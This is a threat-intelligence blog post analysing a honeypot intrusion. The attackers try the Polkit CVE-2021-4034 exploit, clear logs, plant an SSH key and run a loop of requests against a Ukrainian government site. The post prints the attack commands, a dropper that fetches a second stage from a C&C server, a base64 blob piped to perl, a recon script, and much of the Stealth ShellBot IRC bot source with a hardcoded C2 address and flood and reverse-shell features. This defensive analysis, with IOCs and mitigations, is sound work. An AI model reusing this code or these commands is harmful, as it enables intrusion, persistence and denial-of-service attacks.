Russia and Ukraine are staring at each other across the abyss. Tensions that began in 2014 following the Russian annexation of Crimea from Ukraine are fueling the border crisis today. In this post, we’re going to analyze an attack we discovered last week that appears to be Russian actors attempting to use a deception host to attack Ukrainian infrastructure. This attempt at privilege escalation could have had serious results if it had been successful. After failing to escalate privileges, the attacker left a loop of code running that, every second, executed a curl command against a Ukrainian government web page. The technique is worth noting, and this action on our deception environment could also represent a larger-scale effort on the part of the attackers.
To see our team talk about the intel uncovered, watch this on-demand webinar.
POLKIT PKEXEC
Polkit is a component for controlling systemwide privileges in Unix operating systems. It provides an organized way for non-privileged processes to communicate with privileged ones.
The CVE-2021-4034 vulnerability is a memory corruption vulnerability that allows unprivileged users to run commands as privileged users according to predefined policies. This vulnerability was discovered by The Qualys Research Team.
EXECUTED COMMANDS
The attackers accessed the server via SSH from the TOR network and they started looking to see what the server contained by executing the following commands:
ubuntu@server$ id
ubuntu@server$ w
ubuntu@server$ curl
ubuntu@server$ git
ubuntu@server$ ls
ubuntu@server$ ls -al
ubuntu@server$ ls -r-al
ubuntu@server$ ls -r -al
ubuntu@server$ ls /home/
ubuntu@server$ cd ..
ubuntu@server$ ls -rla
ubuntu@server$ ls -Rla
ubuntu@server$ cd user2/
ubuntu@server$ ls
ubuntu@server$ cat network.txt
ubuntu@server$ cat dir.txt
ubuntu@server$ cd /
ubuntu@server$ ls -Rla
Then, they downloaded a GitHub repository called CVE-2021-4034 to exploit the Polkit pkexec vulnerability, and try to elevate their privileges1.
ubuntu@server$ git clone hxxps://github.com/berdav/CVE-20214034
ubuntu@server$ git clone hxxps://github.com/berdav/CVE-2021-4034
ubuntu@server$ cd CVE-2021-4034/
ubuntu@server$ make
ubuntu@server$ apt install gcc
ubuntu@server$ make
ubuntu@server$ ./cve-2021-4034
They also tried to exploit that vulnerability with the following Linux ELF binary2 (e483074bbe5e41cacbe081f290d7e6b0c3184c7f):
ubuntu@server$ curl -fsSL hxxps://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
ubuntu@server$ chmod +x PwnKit
ubuntu@server$ ./PwnKit
When they saw they couldn’t exploit that vulnerability because the host wasn’t vulnerable to CVE-2021-4034, they tried to delete their evidence by sending an empty character to the log files and deleting the previous scripts.
ubuntu@server$ echo '' > /var/log/*
ubuntu@server$ echo '' > /var/log/auth.log
ubuntu@server$ ls
ubuntu@server$ rm *
To gain persistence, and secure the weak SSH access, they added their RSA public key to the user’s SSH authorized_keys file, and then they changed the user’s password.
ubuntu@server$ echo "ssh-rsa <<obfuscated ssh key>>== <<obfuscated host name>>" >> .ssh/authorized_keys
ubuntu@server$ cat .ssh/authorized_keys
ubuntu@server$ su
ubuntu@server$ passwd
After gaining persistence, they executed some system discovery commands. Then, they created and executed a Python script named привет.py3.
Translation: Hello.py
ubuntu@server$ tree /
ubuntu@server$ ss
ubuntu@server$ cd tmp/
ubuntu@server$ touch привет.py
ubuntu@server$ vi привет.py
ubuntu@server$ python3 привет.py
ubuntu@server$ vi привет.py
ubuntu@server$ python3 привет.py
This Python script just downloaded another Python script from their C&C named информация.py and they executed it.
# привет.py
import shlex
import subprocess
dw = 'curl -fsSL "https://IP_ADDRESS/информация" -o "информация.py"'
subprocess.call(shlex.split(dw))
cmd = 'chmod +x && python3 "информация.py"'
subprocess.call(shlex.split(cmd))
This second script, информация.py, is another Python script that obtains information about the host4:
- System boot time
- Architecture
- Machine platform
- System name
- CPU frequency
- Total memory/available memory
- Disk information
- …
Translation: info.py
# информация.py
import os
import platform
from datetime import datetime
import pwd
import psutil
…
See annex 1
The next step is the creation of another Perl file by piping a long Base64 string that decodes into a eval unpack Perl command, a classic method of obfuscation.
echo "ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMwVStDRE4sMzBYK0NEWSlSIVU7RlFFPFcsQCknLUU8RzlJXzkmXVIuUElNPjJgRDwmXVI9JiRdKVMwVCxSPFsiRlVZKCQhQzg2WUE6NyxdKiIoQywjYFcoQkRbIkZVWSgkIUE5JlVTLzJAQjwmXUw7J0RCKyIpTV87VlFMPjIoSS5QSU0+MiFgODc1VDojVE
......
FPPEYtRTtCKEkuUEhAKCdUKiJASEAoJylFPSc1UjtCQFAqM0wqPzBIKiJHLVU4QiFGOjdBQTkmMVIoJ0wqKCJgQF8oJlVZKCJARDg2MUQ8RjVTPFJEQC8yIWA3U0wqIkJgQCgiIUM6Jl1NPCJgRDg2MUQ8RjVTPFNMQCgiYEAoYEhAKCJgQDo2OEAqIjFBOSYxUjk3LVNfKCNVXigiXT43JjBLKSJcSSgnTCooImBAKCJgQCgiIVI5NzFVPEZYQDo2WUU9JV1OPSZdQSonIUE4VkxAKERYQisiYEQ4NjFEPEY1UzxSRFsiQmBAXygiIV0oJjVMPFZFRigiQEQ4NjFEPEY1UzxSYF0/QmBPN0VMUSxFVF83JjFbLDJQUj81UE42UyRSNzNdPDknTFErIyldNyJZOywzKT0vVVFEPlMkTF8sR1U8K0VMUSxFVF83JjFbLDJQUj8yME8qMiFbIkJgQCgiYEAoImBAPEY1VD03KU4oIjFBOSYxUjk3LVMuUEhAKCJgQD8yIUU7Jy1JOUJgSCkmJURfOScpRTxXLEAvN1hAPScoTzgyVVowMlU6K1JcSSgnTEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoYEhAKCJgQCgiYEAoJylFPSc1UjtCIUk7RjVUXzdWWVQ7ViRIKiJBRzk3MUg7Vy1UOEdFTjg2VUUqIjFBOSYxUjk3LVMqMkU7LSVUSTZTIT0qM0wqKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAKCJgQC88RjVUPTcpTi5QSEAoImBAPzBJXX0=" | base64 --decode | perl
echo "<<obfuscated base64 string>> | base64 --decode | perl "
This Perl script connects to an IRC server 45.9.148.99 over port 443 to this server’s channel #009. It’s a classic old-school IRC bot written in perl and created by 0ldW0lf. The objectives of this script are:
- Start scanning ports 21, 22, 23, 25, 80, 110, 143 to the IP that the command and control server tells to the infected machine.
- Download a payload.
- Start doing a UDP flood attack.
- Open a revershell.
- Send back to the server a status message.
…
########## CONFIGURACAO ############
my $processo = 'ps';
$servidor='45.9.148.99' unless $servidor;
my $porta='443';
my @canais=("#009");
my @adms=("molly","polly");
my @auth=("localhost");
…
See annex2
Another interesting step during the compromise was an attempt to check whether the host was a real one or not. The actor executed a Bash command that created a billion empty files and then they deleted them5:
Translation: money{1..9999999999}
ubuntu@server$ touch деньги{1..9999999999}
ubuntu@server$ ls
ubuntu@server$ rm *
ubuntu@server$ less информация.py
Finally they left a Bash loop running a curl command against the Ukrainian government web page every second6.
ubuntu@server$ bash
ubuntu@server$ while true
ubuntu@server$ do
ubuntu@server$ sleep 1
ubuntu@server$ curl -L hxxps://www.kmu.gov.ua/
ubuntu@server$ done
MITRE ATT&CK Techniques
Cataloging the threat actor’s TTPs with MITRE ATT&CK’s matrix can help teams mitigate risk and stop attacks. These are the MITRE ATT&CK techniques observed in this actor’s behavior:
MITRE ATT&CK PIC WITH MATCHED TTPs
Command and Scripting Interpreter – Unix Shell (T1059.004): attackers abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh…) depending on the specific distribution.
System Service Discovery (T1007): attackers try to get information about registered services. Commands that obtain information about services using operating system utilities.
Account Manipulation – SSH Authorized Keys (T1098.004): attackers modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of ssh sessions for remote management.
Indicator Removal on Host – File Deletion (T1070.004): attackers delete files left behind by the actions of their intrusion activity. Malware, tools. Or other non-native files dropped or created on a system by an adversary may leave traces to indicate what was done within a network and how.
Account Access Removal (T1531): attackers may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to the accounts.
Exploitation for Privilege Escalation (T1068): Attackers may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.
IOC:
IP address |
---|
45.9.148.99 |
Filename | File path | SHA-256 |
---|---|---|
CVE-2021-4034 | /tmp/CVE-2021-4034 | a3c982eff2948f3dfbe97bdf3d631f8bb82c78e231b5f5978e4ef370fdc52174 |
PwnKit | /tmp/PwnKit | 4dcae1bddfc3e2cb98eae84e86fb58ec14ea6ef00778ac5974c4ec526d3da31f |
привет.py | /tmp/привет.py | 23c17ac3e7acb1db22e8498b6ffcaed74e6beba8d2dc0ab5ac2d4fe9ae5a82c5 |
информация.py | /tmp/информация.py | 83050f289b33f9301497968ab9aac4948e98fdd3defacbe5870fa981fca1efb8 |
Stealth_ShellBot.pl | /tmp/Stealth_ShellBot.pl | b9e059e282500571ffec2442fcd3c04071ee7a08f7bc43757bd5346fc52e1571 |
Conclusion
The goal of this actor was to escalate their privileges by exploiting the Polkit vulnerability and to use this server to send network packages to the Ukrainian government, perhaps as part of a bigger DDoS attack.
Mitigations for this type of attack
There are steps that can be taken to mitigate this or similar attacks. As always, update your software packages, keep your systems monitored at all times, and follow good security practices.
Temporarily measures you can take include:
- Check outgoing connections in your Firewall
- Polkit: update your system to the following packages version:
Ubuntu | RedHat/CentOS | ||
---|---|---|---|
Ubuntu 21.10 | Ubuntu 20.04 LTS | Ubuntu 18.04 TLS | np |
apt install policykit-10.105-31ubuntu0.1 | apt install policykit-10.105-26ubuntu1.2 | apt install policykit-1 0.105-20ubuntu0.18.04.6 | yum -y update polkit |
- Prevent pkexec execution: if you cannot apply the patches, you can fix the bug temporarily by executing a chmod 0755 /usr/bin/pkexec.
Annexes
Annex 1
# importing the required modules
import os
import platform
from datetime import datetime
import pwd
import psutil
# Using the psutil library to get the boot time of the system
boot_time = datetime.fromtimestamp(psutil.boot_time())
print("[+] System Boot Time :", boot_time)
# getting thesystem up time from the uptime file at proc directory
with open("/proc/uptime", "r") as f:
uptime = f.read().split(" ")[0].strip()
uptime = int(float(uptime))
uptime_hours = uptime // 3600
uptime_minutes = (uptime % 3600) // 60
print("[+] System Uptime : " + str(uptime_hours) + ":" + str(uptime_minutes) + " hours")
# printing the Architecture of the OS
print("[+] Architecture :", platform.architecture()[0])
# Displaying the machine
print("[+] Machine :", platform.machine())
# printing the Operating System release information
print("[+] Operating System Release :", platform.release())
# prints the currently using system name
print("[+] System Name :",platform.system())
# This line will print the version of your Operating System
print("[+] Operating System Version :", platform.version())
# This will print the Node or hostname of your Operating System
print("[+] Node: " + platform.node())
# This will print your system platform
print("[+] Platform :", platform.platform())
# This will print the processor information
print("[+] Processor :",platform.processor())
pids = []
for subdir in os.listdir('/proc'):
if subdir.isdigit():
pids.append(subdir)
print('Total number of processes : {0}'.format(len(pids)))
users = pwd.getpwall()
for user in users:
print(user.pw_name, user.pw_shell)
# This code will print the number of CPU cores present
print("[+] Number of Physical cores :", psutil.cpu_count(logical=False))
print("[+] Number of Total cores :", psutil.cpu_count(logical=True))
print("\n")
# This will print the maximum, minimum and current CPU frequency
cpu_frequency = psutil.cpu_freq()
print(f"[+] Max Frequency : {cpu_frequency.max:.2f}Mhz")
print(f"[+] Min Frequency : {cpu_frequency.min:.2f}Mhz")
print(f"[+] Current Frequency : {cpu_frequency.current:.2f}Mhz")
print("\n")
# This will print the usage of CPU per core
for i, percentage in enumerate(psutil.cpu_percent(percpu=True, interval=1)):
print(f"[+] CPU Usage of Core {i} : {percentage}%")
print(f"[+] Total CPU Usage : {psutil.cpu_percent()}%")
# reading the cpuinfo file to print the name of
# the CPU present
with open("/proc/cpuinfo", "r") as f:
file_info = f.readlines()
cpuinfo = [x.strip().split(":")[1] for x in file_info if "model name" in x]
for index, item in enumerate(cpuinfo):
print("[+] Processor " + str(index) + " : " + item)
# writing a function to convert bytes to GigaByte
def bytes_to_GB(bytes):
gb = bytes/(1024*1024*1024)
gb = round(gb, 2)
return gb
# Using the virtual_memory() function it will return a tuple
virtual_memory = psutil.virtual_memory()
#This will print the primary memory details
print("[+] Total Memory present :", bytes_to_GB(virtual_memory.total), "Gb")
print("[+] Total Memory Available :", bytes_to_GB(virtual_memory.available), "Gb")
print("[+] Total Memory Used :", bytes_to_GB(virtual_memory.used), "Gb")
print("[+] Percentage Used :", virtual_memory.percent, "%")
print("\n")
# This will print the swap memory details if available
swap = psutil.swap_memory()
print(f"[+] Total swap memory :{bytes_to_GB(swap.total)}")
print(f"[+] Free swap memory : {bytes_to_GB(swap.free)}")
print(f"[+] Used swap memory : {bytes_to_GB(swap.used)}")
print(f"[+] Percentage Used: {swap.percent}%")
# Gathering memory information from meminfo file
print("\nReading the /proc/meminfo file: \n")
with open("/proc/meminfo", "r") as f:
lines = f.readlines()
print("[+] " + lines[0].strip())
print("[+] " + lines[1].strip())
# accessing all the disk partitions
disk_partitions = psutil.disk_partitions()
# writing a function to convert bytes to Giga bytes
def bytes_to_GB(bytes):
gb = bytes/(1024*1024*1024)
gb = round(gb, 2)
return gb
# displaying the partition and usage information
for partition in disk_partitions:
print("[+] Partition Device : ", partition.device)
print("[+] File System : ", partition.fstype)
print("[+] Mountpoint : ", partition.mountpoint)
disk_usage = psutil.disk_usage(partition.mountpoint)
print("[+] Total Disk Space :", bytes_to_GB(disk_usage.total), "GB")
print("[+] Free Disk Space :", bytes_to_GB(disk_usage.free), "GB")
print("[+] Used Disk Space :", bytes_to_GB(disk_usage.used), "GB")
print("[+] Percentage Used :", disk_usage.percent, "%")
# get read/write statistics since boot
disk_rw = psutil.disk_io_counters()
print(f"[+] Total Read since boot : {bytes_to_GB(disk_rw.read_bytes)} GB")
print(f"[+] Total Write sice boot : {bytes_to_GB(disk_rw.write_bytes)} GB")
# writing a function to convert the bytes into gigabytes
def bytes_to_GB(bytes):
gb = bytes/(1024*1024*1024)
gb = round(gb, 2)
return gb
# gathering all network interfaces (virtual and physical) from the system
if_addrs = psutil.net_if_addrs()
# printing the information of each network interfaces
for interface_name, interface_addresses in if_addrs.items():
for address in interface_addresses:
print("\n")
print(f"Interface :", interface_name)
if str(address.family) == 'AddressFamily.AF_INET':
print("[+] IP Address :", address.address)
print("[+] Netmask :", address.netmask)
print("[+] Broadcast IP :", address.broadcast)
elif str(address.family) == 'AddressFamily.AF_PACKET':
print("[+] MAC Address :", address.address)
print("[+] Netmask :", address.netmask)
print("[+] Broadcast MAC :",address.broadcast)
# getting the read/write statistics of network since boot
print("\n")
net_io = psutil.net_io_counters()
print("[+] Total Bytes Sent :", bytes_to_GB(net_io.bytes_sent))
print("[+] Total Bytes Received :", bytes_to_GB(net_io.bytes_recv))
battery = psutil.sensors_battery()
print("[+] Battery Percentage :", round(battery.percent, 1), "%")
print("[+] Battery time left :", round(battery.secsleft/3600, 2), "hr")
print("[+] Power Plugged :", battery.power_plugged)
Annex 2
#!/usr/bin/perl
# ShellBOT
# 0ldW0lf - [email protected]
# - www.atrix-team.org
# Stealth ShellBot Versão 0.2 by Thiago X
# Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :)
# Mudanças:
# - O Bot pega o nick/ident/name em uma URL e entra no IRC disfarçado :);
# - O Bot agora responde PINGs;
# - Você pode definir o prefixo dos comandos nas configurações;
# - Agora o Bot procurar pelo processo do apache para rodar como o apache :D;
# Comandos:
# - Adicionado comando !estatisticas ;
# - Alterado o comando @pacota para @oldpack;
# - Adicionado dois novos pacotadores: @udp e @udpfaixa ;
# - Adicionado um novo portscan -> @fullportscan ;
# - Adicionado comando @conback com suporte para Windows/Unix :D;
# - Adicionado comando: !sair para finalizar o bot;
# - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
# - Adicionado comando !entra e !sai ;
# - Adicionado comando @download ;
# - Adicionado comando !pacotes para ativar/desativar pacotes :);
########## CONFIGURACAO ############
my $processo = 'ps';
$servidor='45.9.148.99' unless $servidor;
my $porta='443';
my @canais=("#009");
my @adms=("molly","polly");
my @auth=("localhost");
# Anti Flood ( 6/3 Recomendado )
my $linas_max=6;
my $sleep=3;
my $nick = getnick();
my $ircname = getnick();
my $realname = (`uname -a`);
my $acessoshell = 1;
######## Stealth ShellBot ##########
my $prefixo = "! ";
my $estatisticas = 0;
my $pacotes = 1;
####################################
my $VERSAO = '0.2a';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0";
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();
#####################
# Stealth Shellbot #
#####################
sub getnick {
#my $retornonick = &_get("https://websurvey.burstmedia.com/names.txt");
#return $retornonick;
return "x".int(rand(9000)).int(rand(9000));
}
sub getident {
my $retornoident = &_get("https://www.minpop.com/sk12pack/idents.php");
my $identchance = int(rand(99000));
if ($identchance > 30) {
return $nick;
} else {
return $retornoident;
}
return $retornoident;
}
sub getname {
my $retornoname = &_get("https://www.minpop.com/sk12pack/names.php");
return $retornoname;
}
# IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
sub getident2 {
my $length=shift;
$length = 3 if ($length < 3);
my @chars=('a'..'z','A'..'Z','1'..'9');
foreach (1..$length)
{
$randomstring.=$chars[rand @chars];
}
return $randomstring;
}
sub getstore ($$)
{
my $url = shift;
my $file = shift;
$http_stream_out = 1;
open(GET_OUTFILE, "> $file");
%http_loop_check = ();
_get($url);
close GET_OUTFILE;
return $main::http_get_result;
}
sub _get
{
my $url = shift;
my $proxy = "";
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
if (($proxy eq "") && $url =~ m,^https://([^/:]+)(?::(\d+))?(/\S*)?$,) {
my $host = $1;
my $port = $2 || 80;
my $path = $3;
$path = "/" unless defined($path);
return _trivial_http_get($host, $port, $path);
} elsif ($proxy =~ m,^https://([^/:]+):(\d+)(/\S*)?$,) {
my $host = $1;
my $port = $2;
my $path = $url;
return _trivial_http_get($host, $port, $path);
} else {
return undef;
}
}
sub _trivial_http_get
{
my($host, $port, $path) = @_;
my($AGENT, $VERSION, $p);
#print "HOST=$host, PORT=$port, PATH=$path\n";
$AGENT = "get-minimal";
$VERSION = "20000118";
$path =~ s/ /%20/g;
require IO::Socket;
local($^W) = 0;
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Timeout => 60) || return;
$sock->autoflush;
my $netloc = $host;
$netloc .= ":$port" if $port != 80;
my $request = "GET $path HTTP/1.0\015\012"
. "Host: $netloc\015\012"
. "User-Agent: $AGENT/$VERSION/u\015\012";
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
$request .= "\015\012";
print $sock $request;
my $buf = "";
my $n;
my $b1 = "";
while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
if ($b1 eq "") { # first block?
$b1 = $buf; # Save this for errorcode parsing
$buf =~ s/.+?\015?\012\015?\012//s; # zap header
}
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
}
return undef unless defined($n);
$main::http_get_result = 200;
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
$main::http_get_result = $1;
# print "CODE=$main::http_get_result\n$b1\n";
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
) {
# redirect
my $url
1The web page has been modified.
2The web page has been modified.
3Some characters are in Cyrilic.
4Some characters are in Cyrilic.
5Some characters are in Cyrilic.
6The web address has been modified (hxxps).
John Requejo, integration engineer at CounterCraft, works tirelessly to attract attackers to the deception environment and also analyze their behavior. You can find him on LinkedIn.